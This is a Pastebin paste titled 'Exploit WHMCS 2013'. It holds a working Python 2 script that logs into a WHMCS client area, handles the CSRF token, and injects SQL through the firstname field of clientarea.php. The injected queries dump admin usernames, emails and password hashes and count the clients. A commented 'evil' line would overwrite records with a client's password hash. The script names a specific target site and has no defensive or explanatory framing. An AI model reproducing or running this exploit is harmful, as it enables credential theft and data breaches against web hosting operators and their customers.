Advertisement
Polma

Exploit WHMCS 2013

Oct 19th, 2013
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.83 KB | None | 0 0
  1. #!/usr/bin/env python
  2. url = 'http://www.lawaweb.com/whmcs/' # target ente
  3. user_email = 'pozhietampan@gmail.com' # email elu wktu register
  4. user_pwd = 'ganteng'  # password elu :3
  5.  
  6. import urllib, re, sys
  7. from urllib2 import Request, urlopen
  8. ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"
  9.  
  10. def exploit(sql):
  11.     print "Doing stuff: %s" % sql
  12.     r = urlopen(Request('%sclientarea.php?action=details' % url, data="token=%s&firstname=%s&lastname=1&companyname=1&email=%s&paymentmethod=none&billingcid=0&address1=1&address2=1&city=1&state=1&postcode=1&country=US&phonenumber=1&save=Save+Changes" % (user[1], 'AES_ENCRYPT(1,1), firstname=%s' % sql, user_email), headers={"User-agent": ua, "Cookie": user[0]})).read()
  13.     return re.search(r'(id="firstname" value="(.*?)")', r).group(2)
  14.  
  15. def login():
  16.     print "Getting CSRF token"
  17.     r = urlopen(Request('%slogin.php' % url, headers={"User-agent": ua}))
  18.     csrf = re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")', r.read()).group(2)
  19.     cookie = r.info()['set-cookie'].split(';')[0]
  20.     print "Logging in"
  21.     r = urlopen(Request('%sdologin.php' % url, data="username=%s&password=%s&token=%s" %(user_email, user_pwd, csrf), headers={"User-agent": ua, "Cookie": cookie})).read()
  22.     if 'dologin.php' in r:
  23.         sys.exit('Unable to login')
  24.     else:
  25.         return [cookie, re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")', r).group(2)]
  26.  
  27. user = login()
  28. print exploit('(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins)') # get admins
  29. print exploit('(SELECT * FROM (SELECT COUNT(id) FROM tblclients) as x)') # just get a count of clients
  30.  
  31. # oh you want to be evil
  32. #exploit("'DISASTER', password=(SELECT * FROM (SELECT password FROM tblclients WHERE email='%s' LIMIT 1) as x)#" % user_email)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement